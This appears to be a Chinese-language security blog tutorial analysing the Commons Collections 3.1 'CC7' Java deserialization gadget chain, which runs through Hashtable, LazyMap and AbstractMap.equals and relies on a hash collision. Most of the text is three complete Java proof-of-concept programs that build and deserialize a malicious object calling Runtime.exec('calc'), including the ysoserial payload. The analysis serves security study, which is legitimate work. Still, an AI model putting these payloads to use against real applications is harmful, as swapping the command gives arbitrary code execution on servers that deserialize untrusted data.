环境

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

链子

1
2
3
4
5
6
7
8
9
10
11
Hashtable.readObject  
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut
 LazyMap.equals 没实现,找父类
    AbstractMapDecorator.equals
       HashMap.equals 没实现,找父类
          AbstractMap.equals
             LazyMap.get
  ChainedTransformer.transform()
                   ConstantTransformer.transform()
                   InvokerTransformer.transform()

分析

我们的目标是LazyMap.get()方法,这个链子是通过AbstractMap的equals方法触发的
我们先看一下这个方法:
image.png

被比较的方法要是Map类型的对象,被比较的对象要和this的大小size相同,后面就是取this的键值对赋给e变量,然后的if判断不管value是否为null都会调用m.get(key)方法,这个就是这条链子的一个地方

eg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.*;

public class lazymapget {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
//new两个不同的HashMap对象,保证两个HashMap对象不同
Map map1 = new HashMap();
Map map2 = new HashMap();
//new 两个LazyMap对象
Map lazyMap1 = LazyMap.decorate(map1, chain);
Map lazyMap2 = LazyMap.decorate(map2, chain);
//Map对象需要设置value和key值
lazyMap1.put("1","2");
lazyMap2.put("3","4");
lazyMap1.equals(lazyMap2);

}
}

我们调试一下,首先是lazyMap1的equals方法,lazymap没有equals方法,去它的父类AbstractMapDecorator
image.png
这里肯定不是this,去调用this.map.equals(object),this.map是lazymap1的hashmap,hashmap没有equals方法,去它的父类AbstractMap
image.png
这里前面说了肯定会调用m.get(key)方法,m就是传入的被比较的o对象,也就是lazymap2
key是lazymap1的hashmap遍历键值对得到的键
image.png

因此会调用lazymap2.get(key)方法,然后就是lazymap.get方法rce了
image.png

然后就是要想办法调用lazyMap的equals方法
这里我们观察
Hashtable.readObject()
Pasted image 20231116145426.png

由于我们在Hashtable中存入了两个键值对
所以这里的elements值为2
然后调用reconstitutionPut()方法,它是一个计算hash然后给tab里加值的
Pasted image 20231116145531.png

这里我们发现有一个e.key.equals(key),它有点像我们上面实例代码的利用点,想办法让e.key是lazymap

这里可以用的hash碰撞的方法来保证传入的lazymap的hash相等,那样的话这里的hash和index就相等,Entry<?,?> e = tab[index] ;就不为空(因为是第一次加的lazymap),从而进入for循环调用e.key.equals(key)

hash碰撞的方法是设置key一个是0,一个是f5a5a608,因为hash的计算方法是key.hashCode()->lazymap.hashcode()->
image.png
然后跑到了hashmap.hashCode()->AbstractMap.hashCode()`

image.png
原理就是jdk7u21的hash碰撞,hash计算后为0

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class test1 {
public static void main(String[] args) throws Exception {
Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer chain = new ChainedTransformer(fakeformers);
//new两个不同的HashMap对象
Map map1 = new HashMap();
Map map2 = new HashMap();
//new 两个LazyMap对象,进行比较
Map lazyMap1 = LazyMap.decorate(map1, chain);
Map lazyMap2 = LazyMap.decorate(map2, chain);
//Map对象需要设置value和key值
lazyMap1.put("","1");
lazyMap2.put("f5a5a608","1");


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
lazyMap2.remove("");


Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, transformers);

serialize(hashtable);
deserialize();


}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
Object test = is.readObject();
System.out.println(test);
}catch (Exception e){
e.printStackTrace();
}
}
}

还有一个就是ysoserial的payload

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class test1 {
public static void main(String[] args) throws Exception {
final String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);

f.set(transformerChain, transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

serialize(hashtable);
deserialize();

}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
Object test = is.readObject();
System.out.println(test);
}catch (Exception e){
e.printStackTrace();
}
}
}

这个调试发现也可以进入for循环,两次的hash和index一样

参考

https://zhuanlan.zhihu.com/p/647418911